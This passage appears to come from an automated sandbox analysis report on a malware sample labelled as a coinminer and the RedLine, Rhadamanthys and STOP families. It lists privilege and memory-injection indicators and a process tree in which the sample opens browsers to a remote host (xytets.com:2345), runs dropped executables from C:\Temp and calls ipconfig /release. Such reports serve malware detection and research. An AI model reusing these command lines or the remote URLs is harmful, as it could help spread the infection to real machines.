4912	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4468	i_ecwumgezro.exe
Token: SeDebugPrivilege	3176	i_zwqoigdbzt.exe
Token: SeDebugPrivilege	2384	i_nlgdywqljd.exe
Token: SeDebugPrivilege	2472	i_nlfdyvtqli.exe
Token: SeDebugPrivilege	4720	i_igaysqkida.exe
Token: SeDebugPrivilege	2376	i_zxvpkicaus.exe
Token: SeDebugPrivilege	3472	i_fcxuspkhca.exe
Token: SeDebugPrivilege	6120	i_hezwusmhfc.exe
Token: SeDebugPrivilege	5472	i_wrpjhbzwuo.exe
Token: SeDebugPrivilege	728	i_mgeywrojgb.exe
Token: SeDebugPrivilege	1276	i_wqoigbytrl.exe
Token: SeDebugPrivilege	5000	i_aytqoigdbq.exe
Token: SeDebugPrivilege	4688	i_tnlidaysnl.exe
Token: SeDebugPrivilege	2504	i_kicavsnkic.exe
Token: SeDebugPrivilege	4236	i_pkhfzxupnk.exe
Token: SeDebugPrivilege	5780	i_cxupmhfcxu.exe
Token: SeDebugPrivilege	5680	i_xrpmhfzwrp.exe
Token: SeDebugPrivilege	4252	i_mgeywromge.exe
Token: SeDebugPrivilege	1972	i_geywqoljgb.exe
Token: SeDebugPrivilege	3428	i_oigbywqoig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4912	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 5644	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 3564 wrote to memory of 4692	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 5644 wrote to memory of 3760	5644	iexplore.exe	91
PID 4692 wrote to memory of 4912	4692	iexplore.exe	92
PID 4912 wrote to memory of 3476	4912	msedge.exe	93
PID 4912 wrote to memory of 5204	4912	msedge.exe	94
PID 4912 wrote to memory of 5464	4912	msedge.exe	95
PID 4912 wrote to memory of 5464	4912	msedge.exe	95
PID 4912 wrote to memory of 5464	4912	msedge.exe	95
PID 4912 wrote to memory of 1160	4912	msedge.exe	96
PID 4912 wrote to memory of 1160	4912	msedge.exe	96
PID 4912 wrote to memory of 3372	4912	msedge.exe	98
PID 4912 wrote to memory of 3372	4912	msedge.exe	98
PID 4912 wrote to memory of 3372	4912	msedge.exe	98
PID 4912 wrote to memory of 2072	4912	msedge.exe	99
PID 4912 wrote to memory of 2072	4912	msedge.exe	99
PID 4912 wrote to memory of 2072	4912	msedge.exe	99
PID 4912 wrote to memory of 3752	4912	msedge.exe	100
PID 4912 wrote to memory of 5940	4912	msedge.exe	101
PID 4912 wrote to memory of 1620	4912	msedge.exe	102
PID 4912 wrote to memory of 3752	4912	msedge.exe	100
PID 4912 wrote to memory of 3752	4912	msedge.exe	100
PID 4912 wrote to memory of 5940	4912	msedge.exe	101
PID 4912 wrote to memory of 5940	4912	msedge.exe	101
PID 4912 wrote to memory of 1620	4912	msedge.exe	102
PID 4912 wrote to memory of 1620	4912	msedge.exe	102
PID 3564 wrote to memory of 4744	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	104
PID 5572 wrote to memory of 4868	5572	ecwumgezro.exe	107
PID 4912 wrote to memory of 5924	4912	msedge.exe	110
PID 4912 wrote to memory of 3428	4912	msedge.exe	111
PID 4912 wrote to memory of 5924	4912	msedge.exe	110
PID 4912 wrote to memory of 3428	4912	msedge.exe	111
PID 4912 wrote to memory of 4300	4912	msedge.exe	113
PID 4912 wrote to memory of 4612	4912	msedge.exe	114
PID 4912 wrote to memory of 4612	4912	msedge.exe	114
PID 4912 wrote to memory of 4212	4912	msedge.exe	115
PID 4912 wrote to memory of 4212	4912	msedge.exe	115
PID 4912 wrote to memory of 2880	4912	msedge.exe	116
PID 4912 wrote to memory of 2880	4912	msedge.exe	116
PID 3564 wrote to memory of 2160	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	119
PID 3564 wrote to memory of 6124	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	123
PID 1868 wrote to memory of 5492	1868	zwqoigdbzt.exe	125
PID 3564 wrote to memory of 2484	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 3564 wrote to memory of 3152	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 4668 wrote to memory of 3648	4668	nlgdywqljd.exe	134
PID 3564 wrote to memory of 4684	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 3564 wrote to memory of 860	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 1432 wrote to memory of 2148	1432	nlfdyvtqli.exe	143
PID 3564 wrote to memory of 5468	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	146
PID 4912 wrote to memory of 4464	4912	msedge.exe	149
PID 4912 wrote to memory of 6068	4912	msedge.exe	150
PID 4912 wrote to memory of 3580	4912	msedge.exe	151
PID 3564 wrote to memory of 5740	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 4544 wrote to memory of 5564	4544	igaysqkida.exe	156
PID 3564 wrote to memory of 204	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	159
PID 3564 wrote to memory of 2624	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	163
PID 2356 wrote to memory of 2236	2356	zxvpkicaus.exe	165
PID 3564 wrote to memory of 5624	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	168
PID 3564 wrote to memory of 3008	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	172
PID 364 wrote to memory of 5288	364	fcxuspkhca.exe	174
PID 3564 wrote to memory of 6076	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	177
PID 3564 wrote to memory of 4420	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	181
PID 2064 wrote to memory of 5004	2064	hezwusmhfc.exe	183
PID 3564 wrote to memory of 1604	3564	2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	186

C:\Users\Admin\AppData\Local\Temp\2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5644
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    PID:3760
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4912
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x300,0x7ffefe6bc188,0x7ffefe6bc194,0x7ffefe6bc1a0
      4⤵
      PID:3476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2032,i,13985212899894259587,5211313513348894317,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:11
      4⤵
      System Time Discovery
      PID:5204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1864,i,18256277426678951628,15033199200690684463,262144 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:2
      4⤵
      PID:5464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2584,i,4391815653367885434,14057320200041954371,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=2812 /prefetch:13
      4⤵
      PID:1160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3500,i,6500911840300384627,269104784983498370,2097152 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=3828 /prefetch:1
      4⤵
      PID:3372
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3468,i,13479157760741840539,10462057056800388414,2097152 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:1
      4⤵
      PID:2072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4420,i,11410917265212100904,12068909465391459919,2097152 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:1
      4⤵
      PID:3752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4316,i,10166592994829433296,17986157621396941473,2097152 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:1
      4⤵
      PID:5940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4332,i,21064711837060606,2491373689002512079,2097152 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=4504 /prefetch:9
      4⤵
      PID:1620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5540,i,10288798120540498054,6278413209651448667,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
      4⤵
      PID:5924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5536,i,16294035812172624503,7961670781367497639,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
      4⤵
      PID:3428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,543556982397322898,8919840334166622825,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:14
      4⤵
      PID:3008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,543556982397322898,8919840334166622825,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:14
      4⤵
      PID:4300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6440,i,9731858973201169493,16896134626351935507,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:14
      4⤵
      PID:4612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6756,i,17396703207989779004,13986195419192619706,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:14
      4⤵
      PID:4212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6784,i,6764091786983203787,5115990989443629132,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=6456 /prefetch:14
      4⤵
      PID:2880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1388,i,10352506991635325336,2241540210373997241,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=1268 /prefetch:14
      4⤵
      PID:4464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=740,i,11992795844000890710,12663885497296693819,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=1272 /prefetch:14
      4⤵
      PID:6068
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4472,i,16675439403745756285,17419926128702568704,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:14
      4⤵
      PID:3580
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5680,i,3150757830622766322,1255484815095346493,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=2868 /prefetch:14
      4⤵
      PID:908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5732,i,13033463557667516032,4268988451599144783,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:14
      4⤵
      PID:5912
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6976,i,3340212739535782542,6783520935323313108,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=7048 /prefetch:14
      4⤵
      PID:5824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5196,i,4931331472777193012,3675274561957211575,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=6784 /prefetch:14
      4⤵
      PID:5096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6356,i,14975909010132116593,3700472931574842348,262144 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=6784 /prefetch:10
      4⤵
      PID:2384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5864,i,3910624839762143636,1593304869478202183,524288 --field-trial-handle=2192,i,15195416312931476880,1704349662702332354,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:14
      4⤵
      PID:4812
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecwumgezro.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4744
- - C:\Temp\ecwumgezro.exe
    C:\Temp\ecwumgezro.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5572
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4868
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2680
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ecwumgezro.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2160
- - C:\Temp\i_ecwumgezro.exe
    C:\Temp\i_ecwumgezro.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4468
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zwqoigdbzt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6124
- - C:\Temp\zwqoigdbzt.exe
    C:\Temp\zwqoigdbzt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1868
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5492
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:440
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zwqoigdbzt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2484
- - C:\Temp\i_zwqoigdbzt.exe
    C:\Temp\i_zwqoigdbzt.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3176
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nlgdywqljd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3152
- - C:\Temp\nlgdywqljd.exe
    C:\Temp\nlgdywqljd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3648
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3904
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nlgdywqljd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4684
- - C:\Temp\i_nlgdywqljd.exe
    C:\Temp\i_nlgdywqljd.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nlfdyvtqli.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:860
- - C:\Temp\nlfdyvtqli.exe
    C:\Temp\nlfdyvtqli.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1432
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2148
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2644
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nlfdyvtqli.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5468
- - C:\Temp\i_nlfdyvtqli.exe
    C:\Temp\i_nlfdyvtqli.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2472
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\igaysqkida.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5740
- - C:\Temp\igaysqkida.exe
    C:\Temp\igaysqkida.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4544
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5564
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4360
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_igaysqkida.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:204
- - C:\Temp\i_igaysqkida.exe
    C:\Temp\i_igaysqkida.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4720
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxvpkicaus.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2624
- - C:\Temp\zxvpkicaus.exe
    C:\Temp\zxvpkicaus.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2236
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:804
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxvpkicaus.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5624
- - C:\Temp\i_zxvpkicaus.exe
    C:\Temp\i_zxvpkicaus.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2376
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fcxuspkhca.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3008
- - C:\Temp\fcxuspkhca.exe
    C:\Temp\fcxuspkhca.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:364
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5288
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5088
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fcxuspkhca.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6076
- - C:\Temp\i_fcxuspkhca.exe
